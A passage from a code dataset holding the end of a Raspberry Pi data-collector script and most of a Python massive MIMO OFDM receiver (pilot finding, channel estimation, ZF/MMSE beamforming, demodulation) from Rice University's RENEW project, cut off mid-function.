fromstring(data)\r\n if xml.find('hist') is not None:\r\n fichier = open(\"logs.txt\", \"w\")\r\n fichier.write(\"Big Data error\\n\")\r\n fichier.close()\r\n else:\r\n watts = int(xml.find('ch3').find('watts').text)\r\n id_cc = float(xml.find('id').text)\r\n insert_bdd(watts, id_cc)\r\n time.sleep(0.1)\r\n\r\n except:\r\n print(\"\\nYOU'VE STOPPED THE SCRIPT !\\n$$ Only staff are allowed to stop the script $$\")\r\n\r\n\r\n\r\n","repo_name":"sn38/SCE","sub_path":"Applications_Raspberry/Data_collector.py","file_name":"Data_collector.py","file_ext":"py","file_size_in_byte":2444,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"36994500492","text":"#!/usr/bin/python3\r\n\"\"\"\r\n MMIMO_RECEIVER.py\r\n\r\n Simple massive MIMO receiver. Tested only for two clients but code can be easily expanded to more clients.\r\n \r\n -Three modes: simulation and real-time\r\n a) Sim (AWGN): Simulation mode/Debug mode. Take time domain TX samples from specified\r\n HDF5 file and pass them through an AWGN channel. Tested for up to 2 clients and a\r\n variable number of BS antennas.\r\n a) Replay (REPLAY): Read HDF5 file and run mMIMO receiver on the\r\n collected data\r\n b) Real-Time (OTA): NOT SUPPORTED YET. Continuously read RX buffer as UEs are transmitting\r\n\r\n - Procedure:\r\n a) Read IQ\r\n b) Find Pilots\r\n c) Channel Estimator (Get CSI)\r\n d) ZF Weight Computation\r\n e) Separate Streams (Demultiplexing)\r\n f) Demodulate data\r\n g) Plotter\r\n\r\n Currently only supports one-cell system (one Base Station).\r\n NOTE: Because of the HDF5 file formatting, this script only runs\r\n when both the Base Station and Client are run together. E.g., using tddconfig.json\r\n\r\n Usage example: Run sounder script (\"./CC/Sounder/sounder ./CC/Sounder/files/tddconfig.json\")\r\n This will run both the Base station and clients from same machine and will generate a log\r\n file inside \"/CC/Sounder/logs\".\r\n Use file as input to this script: \"python3 mmimo_receiver.py --file <path/filename>\"\r\n\r\n---------------------------------------------------------------------\r\n Copyright © 2018-2019. Rice University.\r\n RENEW OPEN SOURCE LICENSE: http://renew-wireless.org/license\r\n---------------------------------------------------------------------\r\n\"\"\"\r\n\r\n#########################################\r\n# Include #\r\n#########################################\r\nimport sys\r\nsys.path.append('../IrisUtils/')\r\nsys.path.append('../IrisUtils/data_in/')\r\n\r\nimport numpy as np\r\nimport threading\r\nimport signal\r\nfrom optparse import OptionParser\r\nimport matplotlib.pyplot as plt\r\nfrom hdf5_lib import *\r\n# from radio_lib import *\r\nfrom find_lts import *\r\nfrom generate_sequence import *\r\nfrom ofdmtxrx import *\r\nfrom ofdm_plotter import *\r\n\r\n\r\n#########################################\r\n# Global Vars #\r\n#########################################\r\nrunning = True\r\n\r\n\r\n#########################################\r\n# Functions #\r\n#########################################\r\ndef read_rx_samples(rx_mode, filename):\r\n \"\"\"\r\n Read IQ samples received at Base Station.\r\n\r\n Input:\r\n rx_mode - Three modes:\r\n a) Sim (AWGN): Read previously collected HDF5 file\r\n and run mMIMO receiver on the collected\r\n data\r\n b) Replay (REPLAY): Read HDF5 file and run mMIMO receiver on the\r\n collected data\r\n b) Real-Time (OTA): Call radio library to retrieve samples\r\n as they are received\r\n\r\n filename - Name of file to process\r\n\r\n Output:\r\n metadata - Attributes from hdf5 file\r\n samples - Raw samples from pilots and data\r\n \"\"\"\r\n\r\n if rx_mode == \"AWGN\" or rx_mode == \"REPLAY\":\r\n hdf5 = hdf5_lib(filename)\r\n hdf5.get_data()\r\n\r\n # Check which data we have available\r\n data_types_avail = []\r\n pilots_avail = bool(hdf5.data['Pilot_Samples'])\r\n ul_data_avail = bool(hdf5.data['UplinkData'])\r\n\r\n samples = dict()\r\n if pilots_avail:\r\n data_types_avail.append(\"PILOTS\")\r\n samples.update({\"PILOT_SAMPS\": hdf5.pilot_samples})\r\n print(\"PILOT Data Available\")\r\n if ul_data_avail:\r\n data_types_avail.append(\"UL_DATA\")\r\n samples.update({\"UL_DATA\": hdf5.uplink_samples})\r\n print(\"Uplink Data Available\")\r\n\r\n # Empty structure\r\n if not data_types_avail:\r\n raise Exception(' **** No pilots or uplink data found **** ')\r\n\r\n # Retrieve attributes\r\n metadata = hdf5.metadata\r\n\r\n else:\r\n # If OTA\r\n # TODO - retrieve config data (metadata) and actual samples\r\n raise Exception(\"Realtime (OTA) not yet supported\")\r\n radLib = radioLib()\r\n samples = radLib.data\r\n \r\n return metadata, samples\r\n\r\n\r\ndef pilot_finder(samples, pilot_type, flip=False, pilot_seq=[]):\r\n \"\"\"\r\n Find pilots from clients to each of the base station antennas\r\n\r\n Input:\r\n samples - Raw samples from pilots and data.\r\n Dimensions: vector [1 x num samples]\r\n pilot_type - Type of TX pilot (e.g., 802.11 LTS)\r\n flip - Needed for finding LTS function\r\n\r\n Output:\r\n pilot - Received pilot (from multiple clients)\r\n tx_pilot - Transmitted pilot (same pilot sent by all clients)\r\n \"\"\"\r\n\r\n if pilot_type == 'lts-half' or pilot_type == 'lts-full':\r\n lts_thresh = 0.8\r\n best_pk, lts_pks, lts_corr = find_lts(samples, thresh=lts_thresh, flip=flip, lts_seq=pilot_seq)\r\n\r\n # full lts contains 2.5 64-sample-LTS sequences, we need only one symbol\r\n lts, lts_f = generate_training_seq(preamble_type='lts', cp=32, upsample=1)\r\n\r\n if not (pilot_seq.size == 0):\r\n # pilot provided, overwrite the one returned above\r\n lts = pilot_seq\r\n\r\n lts_syms_len = len(lts)\r\n pilot_thresh = lts_thresh * np.max(lts_corr)\r\n # We'll need the transmitted version of the pilot (for channel estimation, for example)\r\n tx_pilot = [lts, lts_f]\r\n lts_start = 0\r\n\r\n # Check if LTS found\r\n if not best_pk:\r\n print(\"SISO_OFDM: No LTS Found! Continue...\")\r\n pilot = np.array([])\r\n return pilot, tx_pilot, lts_corr, pilot_thresh, best_pk, lts_start\r\n # If beginning of frame was not captured in current buffer\r\n if (best_pk - lts_syms_len) < 0:\r\n print(\"TOO EARLY. Continue... \")\r\n pilot = np.array([])\r\n return pilot, tx_pilot, lts_corr, pilot_thresh, best_pk, lts_start\r\n if best_pk > len(samples):\r\n print(\"TOO LATE. Continue... \")\r\n pilot = np.array([])\r\n return pilot, tx_pilot, lts_corr, pilot_thresh, best_pk, lts_start\r\n\r\n # Get pilot\r\n lts_start = best_pk - lts_syms_len + 0 # where LTS-CP start\r\n pilot = samples[lts_start:best_pk+0]\r\n\r\n else:\r\n raise Exception(\"Only LTS Pilots supported at the moment\")\r\n\r\n return pilot, tx_pilot, lts_corr, pilot_thresh, best_pk, lts_start\r\n\r\n\r\ndef estimate_channel(this_pilot, tx_pilot, ofdm_obj, user_params):\r\n \"\"\"\r\n Estimate channel from received pilots\r\n\r\n Input:\r\n this_pilot - received pilot (vector)\r\n tx_pilot - time (tx_pilot[0]) and frequency (tx_pilot[1]) domain transmitted pilot sequences (vectors)\r\n ofdm_obj - OFDM object\r\n user_params - set of parameters defined by user. See main function\r\n\r\n\r\n Output:\r\n chan_est - Vector containing channel estimates computed from this particular RX pilot (dim: fft_size x 1)\r\n cfo_est - Coarse CFO estimate\r\n lts_evm - Estimate of Error Vector Magnitude over LTS\r\n \"\"\"\r\n fft_offset = user_params[5]\r\n apply_cfo_corr = user_params[2]\r\n\r\n # Retrieve sent pilot (freq domain)\r\n pilot_freq = tx_pilot[1]\r\n\r\n # Apply coarse CFO Correction\r\n lts_start = 0\r\n lts_syms_len = len(this_pilot)\r\n\r\n if apply_cfo_corr:\r\n try:\r\n coarse_cfo_est = ofdm_obj.cfo_correction(this_pilot, lts_start, lts_syms_len, fft_offset)\r\n except:\r\n chan_est = np.zeros(len(pilot_freq))\r\n cfo_est = 0\r\n lts_evm = 0\r\n return chan_est, cfo_est, lts_evm\r\n else:\r\n coarse_cfo_est = 0\r\n\r\n correction_vec = np.exp(-1j * 2 * np.pi * coarse_cfo_est * np.array(range(0, len(this_pilot))))\r\n pilot_cfo = this_pilot * correction_vec\r\n cfo_est = coarse_cfo_est\r\n\r\n # Channel estimation\r\n # Get LTS again (after CFO correction)\r\n if lts_syms_len == 160:\r\n # Two LTS symbols\r\n lts = pilot_cfo[lts_start: lts_start + lts_syms_len]\r\n lts_1 = lts[-64 + -fft_offset + np.array(range(97, 161))]\r\n lts_2 = lts[-fft_offset + np.array(range(97, 161))]\r\n\r\n # Average 2 LTS symbols to compute channel estimate\r\n chan_est = np.fft.ifftshift(pilot_freq) * (np.fft.fft(lts_1) + np.fft.fft(lts_2)) / 2\r\n\r\n # Compute an estimate of EVM based on TX/RX LTS samples\r\n lts1_f = np.fft.fft(lts_1)\r\n lts2_f = np.fft.fft(lts_2)\r\n lts_tx = np.fft.ifftshift(pilot_freq)\r\n evm_tmp1 = abs(lts1_f - lts_tx) ** 2\r\n evm_tmp2 = abs(lts2_f - lts_tx) ** 2\r\n lts_evm = np.mean((evm_tmp1 + evm_tmp2) / 2)\r\n else:\r\n # Half sequence (80-sample long LTS)\r\n lts = pilot_cfo[lts_start: lts_start + lts_syms_len]\r\n lts_1 = lts[-64 + -fft_offset + np.array(range(97-17, 161-17))]\r\n\r\n # Average 2 LTS symbols to compute channel estimate\r\n chan_est = np.fft.ifftshift(pilot_freq) * np.fft.fft(lts_1)\r\n\r\n # Compute an estimate of EVM based on TX/RX LTS samples\r\n lts1_f = np.fft.fft(lts_1)\r\n lts_tx = np.fft.ifftshift(pilot_freq)\r\n evm_tmp1 = abs(lts1_f - lts_tx) ** 2\r\n lts_evm = np.mean(evm_tmp1)\r\n\r\n return chan_est, cfo_est, lts_evm\r\n\r\n\r\ndef beamforming_weights(chan_est, user_params):\r\n \"\"\"\r\n Compute beam steering weights\r\n\r\n Input:\r\n chan_est - Channel estimate vector.\r\n Dimensions: chan_est[current cell, num clients, num antennas, current frame, fft_size]\r\n user_params - Set of parameters defined by user. See main function\r\n\r\n Output\r\n WW - BF weights matrix. Dimensions: WW[num BS antennas, num clients, num subcarriers]\r\n \"\"\"\r\n # Collapse into dimensions [numBSant, numCl, fft_size]\r\n H_tmp = np.transpose(chan_est, (1, 0, 2))\r\n H_tmp_shape = H_tmp.shape\r\n num_sc = H_tmp_shape[2]\r\n num_ant = H_tmp_shape[0]\r\n num_cl = H_tmp_shape[1]\r\n\r\n bf_scheme = user_params[1]\r\n power_norm = 0\r\n\r\n WW = np.zeros((num_cl, num_ant, num_sc), dtype=complex)\r\n if bf_scheme == \"ZF\":\r\n # Zero Forcing\r\n # inv(H^H*H)*H^H*y\r\n for scIdx in range(num_sc):\r\n H = H_tmp[:, :, scIdx]\r\n HH = np.matrix.getH(H)\r\n W = np.matmul(HH, np.linalg.pinv(np.matmul(H, HH)))\r\n # W = (np.linalg.pinv(HH.dot(H))).dot(HH)\r\n\r\n if power_norm:\r\n # Normalize (equal power allocation across users)\r\n P = 1 * np.ones(num_cl)\r\n for k in range(num_cl):\r\n W[:, k] = np.sqrt(P[k] / num_cl) * (W[:, k] / np.linalg.norm(W[:, k]))\r\n\r\n WW[:, :, scIdx] = W\r\n A = H.dot(W)\r\n\r\n elif bf_scheme == \"MMSE\":\r\n # MMSE\r\n # inv(H^H*H + sigma^2*I)*H^H*y\r\n for scIdx in range(num_sc):\r\n H = H_tmp[:, :, scIdx]\r\n HH = np.matrix.getH(H)\r\n sigma2I = 1.0 * np.eye(num_ant, dtype=complex) # TODO: measure noise\r\n W = np.matmul(HH, np.linalg.pinv(np.matmul(H, HH) + sigma2I))\r\n\r\n if power_norm:\r\n # Normalize\r\n P = [0.3, 0.2]\r\n for k in range(num_cl):\r\n W[:, k] = np.sqrt(P[k] / num_cl) * (W[:, k] / np.linalg.norm(W[:, k]))\r\n\r\n WW[:, :, scIdx] = W\r\n A = H.dot(W)\r\n\r\n else:\r\n raise Exception(\"Only Zero Forcing and MMSE currently implemented\")\r\n\r\n return WW\r\n\r\n\r\ndef demultiplex(samples, bf_weights, user_params, metadata, chan_est, lts_start):\r\n \"\"\"\r\n Separate data streams by applying beamforming weights previously computed.\r\n Requires us to perform FFT prior to applying weights\r\n\r\n Input:\r\n samples - IQ data. Dimensions: samples[num BS antennas, num samps including padding]\r\n bf_weights - Beamforming weights. Dimensions: bf_weights[num antennas, num clients, num subcarriers]\r\n user_params - set of parameters defined by user. See main function\r\n metadata - Attributes from hdf5 file\r\n\r\n Output\r\n streams - Per client data streams. Dimensions: streams[num clients, num subcarriers, num ofdm symbols]\r\n \"\"\"\r\n\r\n w_dim = bf_weights.shape\r\n num_sc = w_dim[2]\r\n num_cl = int(metadata['CL_NUM'])\r\n num_ant = int(metadata['BS_NUM_ANT'])\r\n data_cp_len = int(metadata['CP_LEN'])\r\n fft_size = int(metadata['FFT_SIZE'])\r\n num_samps = int(metadata['SYMBOL_LEN_NO_PAD'])\r\n prefix_len = int(metadata['PREFIX_LEN'])\r\n ofdm_size = fft_size + data_cp_len\r\n n_ofdm_syms = num_samps//ofdm_size\r\n fft_offset = user_params[5]\r\n rx_mode = user_params[0]\r\n\r\n debug = 0\r\n if debug:\r\n plt.figure(1000)\r\n plt.plot(abs(samples[0, :]))\r\n plt.show()\r\n\r\n if rx_mode == \"AWGN\":\r\n samp_offset = np.ones((num_cl, num_ant)).astype(int) * prefix_len\r\n else:\r\n # Sample offset for data should be the same as for the pilots\r\n samp_offset = lts_start.astype(int)\r\n\r\n # Reshape into matrix. Dim: [num clients, num_sc+cp, num_ofdm]\r\n payload = samples\r\n payload_samples_mat_cp = np.zeros((num_ant, num_sc + data_cp_len, n_ofdm_syms)).astype(complex)\r\n for antIdx in range(num_ant):\r\n # Vector -> Matrix\r\n if ((n_ofdm_syms * (num_sc + data_cp_len)) + samp_offset[0, antIdx]) > len(payload[antIdx, :]):\r\n # Invalid offset, just use a dummy value\r\n this_offset = 60\r\n else:\r\n this_offset = samp_offset[0, antIdx]\r\n # this_offset = 100 # FIXME !!!\r\n tmp_range = range(this_offset, n_ofdm_syms * (num_sc + data_cp_len) + this_offset)\r\n payload_samples_mat_cp[antIdx, :, :] = np.reshape(payload[antIdx, tmp_range],\r\n (num_sc + data_cp_len, n_ofdm_syms),\r\n order=\"F\")\r\n\r\n # Remove cyclic prefix\r\n payload_samples_mat = payload_samples_mat_cp[:, data_cp_len - fft_offset + 0 + np.array(range(0, num_sc)), :] # FIXME: 0? 1?\r\n\r\n # FFT\r\n rxSig_freq = np.zeros((payload_samples_mat.shape[0], payload_samples_mat.shape[1], payload_samples_mat.shape[2]),\r\n dtype=complex)\r\n\r\n for antIdx in range(num_ant):\r\n for symIdx in range(n_ofdm_syms):\r\n tmp = np.squeeze(payload_samples_mat[antIdx, :, symIdx])\r\n rxSig_freq[antIdx, :, symIdx] = np.fft.fft(tmp)\r\n\r\n # Demultiplexing (iterate over clients and ofdm symbols)\r\n x = np.zeros((num_cl, num_sc, n_ofdm_syms), dtype=complex)\r\n for symIdx in range(n_ofdm_syms):\r\n for scIdx in range(num_sc):\r\n this_w = np.squeeze(bf_weights[:, :, scIdx])\r\n y = np.squeeze(rxSig_freq[:, scIdx, symIdx])\r\n x[:, scIdx, symIdx] = np.dot(this_w, y) # np.transpose(np.matmul(this_w, y))\r\n\r\n # Single antenna equalization\r\n debug2 = 0\r\n if debug2:\r\n # Equalizer\r\n x = np.zeros((num_cl, num_sc, n_ofdm_syms), dtype=complex)\r\n chan_est_tmp = np.squeeze(chan_est)\r\n for symIdx in range(n_ofdm_syms):\r\n antIdx = 2\r\n if num_cl > 1:\r\n cl_idx = 0\r\n x[0, :, symIdx] = rxSig_freq[antIdx, :, symIdx] / chan_est_tmp[cl_idx, antIdx, :]\r\n else:\r\n x[0, :, symIdx] = rxSig_freq[antIdx, :, symIdx] / chan_est_tmp[antIdx, :]\r\n\r\n streams = x\r\n return streams\r\n\r\n\r\ndef demodulate_data(streams, ofdm_obj, user_params, metadata):\r\n \"\"\"\r\n Given complex data streams for all users, demodulate signals\r\n\r\n Input:\r\n streams - Per client data streams. Dimensions: streams[num clients, num subcarriers, num ofdm symbols]\r\n ofdm_obj - OFDM object\r\n user_params - Set of parameters defined by user. See main function\r\n metadata - Attributes from hdf5 file\r\n\r\n Output\r\n rx_data_all - TX Data. Dims: rx_data_all[num clients, num data syms]\r\n rxSymbols_all - Demodulated data symbols. Dims: rx_data_all[num clients, num data syms]\r\n symbol_err - Data symbol error. Nneeds TX data to determine this. Dims:symbol_err[num clients, num data syms]\r\n \"\"\"\r\n fft_size = int(metadata['FFT_SIZE'])\r\n data_cp_len = int(metadata['CP_LEN'])\r\n num_samps = int(metadata['SYMBOL_LEN_NO_PAD'])\r\n num_sc = int(metadata['FFT_SIZE'])\r\n mod_order_str = metadata['CL_MODULATION'].astype(str)\r\n data_sc = metadata['OFDM_DATA_SC']\r\n pilot_sc = metadata['OFDM_PILOT_SC']\r\n pilot_sc_vec = metadata['OFDM_PILOT_SC_VALS'].reshape(4, 1, order=\"F\")\r\n ofdm_size = fft_size + data_cp_len\r\n n_ofdm_syms = num_samps//ofdm_size\r\n\r\n if mod_order_str == \"BPSK\":\r\n mod_order = 2\r\n elif mod_order_str == \"QPSK\":\r\n mod_order = 4\r\n elif mod_order_str == \"16QAM\":\r\n mod_order = 16\r\n elif mod_order_str == \"64QAM\":\r\n mod_order = 64\r\n else:\r\n sys.exit(\"Invalid Modulation\")\r\n\r\n pilots_matrix = np.matlib.repmat(pilot_sc_vec, 1, n_ofdm_syms)\r\n n_data_syms = n_ofdm_syms * len(data_sc)\r\n\r\n # Correction Flags\r\n apply_sfo_corr = user_params[3]\r\n apply_phase_corr = user_params[4]\r\n\r\n rx_data_all = np.zeros((streams.shape[0], n_data_syms), dtype=int)\r\n rxSymbols_all = np.zeros((streams.shape[0], n_data_syms), dtype=complex)\r\n phase_error_all = np.zeros((streams.shape[0], n_ofdm_syms), dtype=float)\r\n rxSymbols_mat_allCl = []\r\n for clIdx in range(streams.shape[0]):\r\n\r\n rxSig_freq_eq = streams[clIdx, :, :]\r\n # Apply SFO Correction\r\n if apply_sfo_corr:\r\n rxSig_freq_eq = ofdm_obj.sfo_correction(rxSig_freq_eq, pilot_sc, pilots_matrix, n_ofdm_syms)\r\n else:\r\n sfo_corr = np.zeros((num_sc, n_ofdm_syms))\r\n\r\n # Apply phase correction\r\n if apply_phase_corr:\r\n phase_error = ofdm_obj.phase_correction(rxSig_freq_eq, pilot_sc, pilots_matrix)\r\n else:\r\n phase_error = np.zeros((1, n_ofdm_syms))\r\n\r\n phase_corr_tmp = np.matlib.repmat(phase_error, num_sc, 1)\r\n phase_corr = np.exp(-1j * phase_corr_tmp)\r\n rxSig_freq_eq_phase = rxSig_freq_eq * phase_corr\r\n rxSymbols_mat = rxSig_freq_eq_phase[data_sc, :]\r\n rxSymbols_mat_allCl.append(rxSymbols_mat)\r\n\r\n # Demodulation\r\n rxSymbols_vec = np.reshape(rxSymbols_mat, n_data_syms, order=\"F\") # Reshape into vector\r\n rx_data = ofdm_obj.demodulation(rxSymbols_vec, mod_order)\r\n\r\n rxSymbols_all[clIdx, :] = rxSymbols_vec\r\n rx_data_all[clIdx, :] = rx_data\r\n phase_error_all[clIdx, :] = phase_error\r\n\r\n return rx_data_all, rxSymbols_all, rxSymbols_mat_allCl, pilot_sc, data_sc, phase_error_all\r\n\r\n\r\ndef compute_correlation(chan_est, frameIdx):\r\n \"\"\"\r\n Debug plot that is useful for checking sync.\r\n\r\n Input:\r\n chan_est - Channel estimates. Dims: chan_est[num_cells, num clients, num BS ant, num frames, num subcarriers]\r\n frameIdx - Index of frame being currently processed\r\n\r\n Output:\r\n corr_total - Correlation. Dims: [num frames, num clients]\r\n \"\"\"\r\n \"\"\"Input samps dims: Frame, Cell, Antenna, User, Sample\"\"\"\r\n \"\"\"Returns iq with Frame, Cell, User, Pilot Rep, Antenna, Sample\"\"\"\r\n \"\"\"Returns csi with Frame, Cell, User, Pilot Rep, Antenna, Subcarrier\"\"\"\r\n\r\n this_cell = 0\r\n ref_frame = 0\r\n chan_est_ref = chan_est[this_cell, :, :, ref_frame, :] # [#clients, #BS ant, #frames, #subcarriers]\r\n corr_vec = np.transpose(np.conj(chan_est_ref), (1, 0, 2)) # Convert to [#bs ant, #clients, #subcarriers]\r\n\r\n userCSI = chan_est[this_cell, :, :, :, :] # [#clients, #BS ant, #frames, #subcarriers]\r\n userCSI = np.transpose(userCSI, (2, 0, 1, 3)) # to [#frames, #clients, #ant, #sc]\r\n userCSI = userCSI[frameIdx, :, :, :] # [#clients, #ant, #sc]\r\n\r\n sig_intf = np.empty((userCSI.shape[0], userCSI.shape[0], userCSI.shape[2]), dtype='float32')\r\n for sc in range(userCSI.shape[2]):\r\n num = np.abs(np.dot(userCSI[:, :, sc], corr_vec[:, :, sc]))\r\n den = np.dot(np.abs(userCSI[:, :, sc]), np.abs(corr_vec[:, :, sc]))\r\n sig_intf[:, :, sc] = num / den\r\n\r\n # gets correlation of subcarriers for each user across bs antennas\r\n # OLD sig_sc = np.diagonal(sig_intf, axis1=1, axis2=2)\r\n # OLD sig_sc = np.swapaxes(sig_sc, 1, 2)\r\n sig_sc = np.diagonal(sig_intf, axis1=0, axis2=1)\r\n sig_sc = np.swapaxes(sig_sc, 0, 1)\r\n corr_total = np.mean(sig_sc, axis=1) # averaging corr across users?/subcarriers?\r\n return corr_total\r\n\r\n\r\ndef rx_stats(tx_syms, rx_data, cfo_est, lts_evm, metadata, n_ofdm_syms, ofdm_obj, phase_error):\r\n \"\"\"\r\n Print stats\r\n \"\"\"\r\n\r\n # Symbol error\r\n ofdm_data_sc = metadata['OFDM_DATA_SC']\r\n num_cl = int(metadata['CL_NUM'])\r\n num_sc = int(metadata['FFT_SIZE'])\r\n mod_order_str = metadata['CL_MODULATION']\r\n rate = metadata['RATE']\r\n num_bs_ant = metadata['BS_NUM_ANT']\r\n\r\n if mod_order_str == \"BPSK\":\r\n mod_order = 2\r\n elif mod_order_str == \"QPSK\":\r\n mod_order = 4\r\n elif mod_order_str == \"16QAM\":\r\n mod_order = 16\r\n elif mod_order_str == \"64QAM\":\r\n mod_order = 64\r\n\r\n # Get tx data symbols and reshape\r\n tx_syms_data = np.zeros((num_cl, len(ofdm_data_sc) * n_ofdm_syms)).astype(complex)\r\n sym_err_rate = np.zeros(num_cl)\r\n cfo = np.zeros((num_cl, num_bs_ant))\r\n for idxCl in range(num_cl):\r\n tmp = np.reshape(tx_syms[idxCl], (num_sc, n_ofdm_syms), order=\"F\")\r\n tx_syms_data[idxCl, :] = np.reshape(tmp[ofdm_data_sc, :], (len(ofdm_data_sc) * n_ofdm_syms), order=\"F\")\r\n tx_data = ofdm_obj.demodulation(tx_syms_data[idxCl, :], mod_order)\r\n sym_error = (tx_data != rx_data[idxCl]).astype(int)\r\n sym_err_rate[idxCl] = 100 * sum(sym_error)/len(sym_error)\r\n cfo[idxCl, :] = cfo_est[idxCl, :] * np.squeeze(rate)\r\n\r\n print(\"======= STATS ========\")\r\n print(\"Error Rate: {}\".format(sym_err_rate))\r\n\r\n\r\ndef rx_app(filename, user_params, this_plotter):\r\n \"\"\"\r\n Main function\r\n\r\n Input:\r\n filename - HDF5 file to read from\r\n user_params - set of parameters defined by user. See main function\r\n plot_vec - vector of flags to determine what will be plotted\r\n\r\n Output:\r\n None\r\n \"\"\"\r\n global running\r\n rx_mode = user_params[0]\r\n\r\n ###########################\r\n # Read Received Samples #\r\n ###########################\r\n metadata, samples = read_rx_samples(rx_mode, filename)\r\n\r\n ###########################\r\n # OFDM object #\r\n ###########################\r\n ofdm_obj = ofdmTxRx()\r\n\r\n ###########################\r\n # Attributes #\r\n ###########################\r\n if \"CL_SDR_ID\" in metadata.keys():\r\n cl_present = True\r\n\r\n prefix_len = int(metadata['PREFIX_LEN'])\r\n postfix_len = int(metadata['POSTFIX_LEN'])\r\n pilot_type = metadata['PILOT_SEQ_TYPE'].astype(str)[0]\r\n num_bs_ant = int(metadata['BS_NUM_ANT'])\r\n pilot_samples = samples['PILOT_SAMPS']\r\n data_samples = samples['UL_DATA']\r\n num_cells = int(metadata['BS_NUM_CELLS'])\r\n num_cl = int(metadata['CL_NUM'])\r\n sym_len = int(metadata['SYMBOL_LEN'])\r\n sym_len_no_pad = int(metadata['SYMBOL_LEN_NO_PAD'])\r\n fft_size = int(metadata['FFT_SIZE'])\r\n cp_len = int(metadata['CP_LEN'])\r\n ofdm_data_sc = metadata['OFDM_DATA_SC']\r\n ofdm_pilot = np.array(metadata['OFDM_PILOT'])\r\n\r\n if not cl_present:\r\n cl_frame_sched = metadata['BS_FRAME_SCHED']\r\n # print('ERROR: Script needs client metadata. Sounder must be run in joint mode (BS and client together)')\r\n print('WARNING: Client(s) metadata is not available. Demodulation will not be available.')\r\n # sys.exit()\r\n else:\r\n ofdm_data = []\r\n ofdm_data_time = []\r\n cl_frame_sched = metadata['CL_FRAME_SCHED']\r\n\r\n for idx in range(num_cl):\r\n ofdm_data.append(metadata['OFDM_DATA_CL' + str(idx)][idx]) ##FIXME!!!! REMOVE THAT second [idx] # Freq domain TX data (Does not contain cyclic prefix or prefix/postfix)\r\n ofdm_data_time.append(metadata['OFDM_DATA_TIME_CL' + str(idx)][idx]) ##FIXME!!!! REMOVE THAT second [idx]\r\n #ofdm_data.append(metadata['OFDM_DATA_CL' + str(idx)]) ##FIXME!!!! REMOVE THAT second [idx] # Freq domain TX data (Does not contain cyclic prefix or prefix/postfix)\r\n #ofdm_data_time.append(metadata['OFDM_DATA_TIME_CL' + str(idx)]) ##FIXME!!!! REMOVE THAT second [idx]\r\n\r\n pilot_dim = pilot_samples.shape\r\n num_frames = pilot_dim[0]\r\n\r\n # Verify dimensions\r\n assert pilot_dim[1] == num_cells\r\n assert pilot_dim[2] == num_cl\r\n assert pilot_dim[3] == num_bs_ant\r\n assert pilot_dim[4] == 2 * sym_len # No complex values in HDF5, x2 to account for IQ\r\n\r\n # Check if there's uplink data present\r\n # if len(ofdm_data) == 0:\r\n # print(\"No uplink data present in the log file. Exiting now...\")\r\n # sys.exit(0)\r\n\r\n ###########################\r\n # Build TX signals #\r\n ###########################\r\n # Process TX freq domain samples (from HDF5). These are the samples generated for transmission and stored in file,\r\n # not what has been received\r\n num_samps_freq_dom = fft_size*(sym_len_no_pad//(fft_size+cp_len)) #len(ofdm_data[0])\r\n n_ofdm_syms = num_samps_freq_dom//fft_size\r\n\r\n # Pilots\r\n rep = sym_len_no_pad//len(ofdm_pilot)\r\n frac = sym_len_no_pad % len(ofdm_pilot)\r\n\r\n full_pilot = np.concatenate((np.zeros(prefix_len), np.squeeze(np.matlib.repmat(ofdm_pilot, 1, rep)),\r\n ofdm_pilot[0:frac], np.zeros(postfix_len)))\r\n\r\n # Note:\r\n # One pilot per client + overlapping data + add a prefix so that TX and RX plots are the same (for showing purposes)\r\n tx_sig = np.zeros((num_cl, (num_cl*sym_len + num_samps_freq_dom + prefix_len)), dtype=complex)\r\n\r\n if cl_present:\r\n for clIdx in range(num_cl):\r\n data_freq = ofdm_data[clIdx]\r\n ofdm_data_mat = np.reshape(np.squeeze(data_freq), (fft_size, n_ofdm_syms), order='F')\r\n ofdm_data_mat_time = np.fft.ifft(ofdm_data_mat, axis=0)\r\n ofdm_data_vec_time = np.reshape(ofdm_data_mat_time, (1, ofdm_data_mat_time.shape[0]*ofdm_data_mat_time.shape[1]), order='F')\r\n tx_sig[clIdx, (clIdx*len(full_pilot)):(clIdx+1)*len(full_pilot)] = full_pilot\r\n tx_sig[clIdx, num_cl*len(full_pilot)::] = np.concatenate((np.zeros(prefix_len), np.squeeze(ofdm_data_vec_time)))\r\n\r\n # Remove pilots\r\n ofdm_tx_syms = np.empty((num_cl, len(ofdm_data_sc)*n_ofdm_syms)).astype(complex)\r\n if cl_present:\r\n for clIdx in range(num_cl):\r\n tmp = np.reshape(ofdm_data[clIdx], (fft_size, n_ofdm_syms), order='F')\r\n tmp = tmp[ofdm_data_sc, :]\r\n ofdm_tx_syms[clIdx, :] = np.reshape(tmp, (1, len(ofdm_data_sc)*n_ofdm_syms), order='F')\r\n\r\n # Number of uplink data symbols. Assume all clients are transmitting the same number of data symbols\r\n #if num_cl > 1:\r\n if type(cl_frame_sched) == list:\r\n this_cl_sched = cl_frame_sched[0] # Client index 0\r\n else:\r\n this_cl_sched = str(cl_frame_sched)\r\n num_ul_syms = this_cl_sched.count('U')\r\n\r\n ###########################\r\n # Process RX Signals #\r\n ###########################\r\n # Running flag. For demo purposes\r\n while running:\r\n # Prepare samples to iterate over all received frames\r\n chan_est = np.zeros([num_cells, num_cl, num_bs_ant, num_frames, fft_size], dtype=complex)\r\n cfo_est = np.zeros([num_cells, num_cl, num_bs_ant, num_frames])\r\n lts_evm = np.zeros([num_cells, num_cl, num_bs_ant, num_frames])\r\n lts_corr = np.zeros([num_cl, num_bs_ant, sym_len+fft_size-1])\r\n peak_index = np.zeros([num_cl, num_bs_ant, num_frames])\r\n IQ_pilots = np.zeros([num_cells, num_cl, num_bs_ant, sym_len], dtype=complex)\r\n pilot_thresh = np.zeros([num_cl, num_bs_ant])\r\n lts_start = np.zeros([num_cl, num_bs_ant])\r\n corr_total = np.zeros([num_frames, num_cl])\r\n corr_total[:] = np.nan\r\n\r\n if rx_mode == \"AWGN\":\r\n for frameIdx in range(num_frames):\r\n # PER FRAME\r\n # Code for debugging. Supports up to 2 clients and 8 BS ant. Uses TX symbols from HDF5 and passes them\r\n # through and AWGN channel\r\n chan_est_dbg = np.zeros([num_cl, num_bs_ant, fft_size], dtype=complex)\r\n # (1) Put pilot and data together\r\n tx_data_sim = np.zeros((num_bs_ant, num_cl*len(full_pilot)+len(ofdm_data_time[0]))).astype(complex)\r\n\r\n if num_cl == 1:\r\n tx_data_sim_cl1 = np.concatenate([full_pilot, 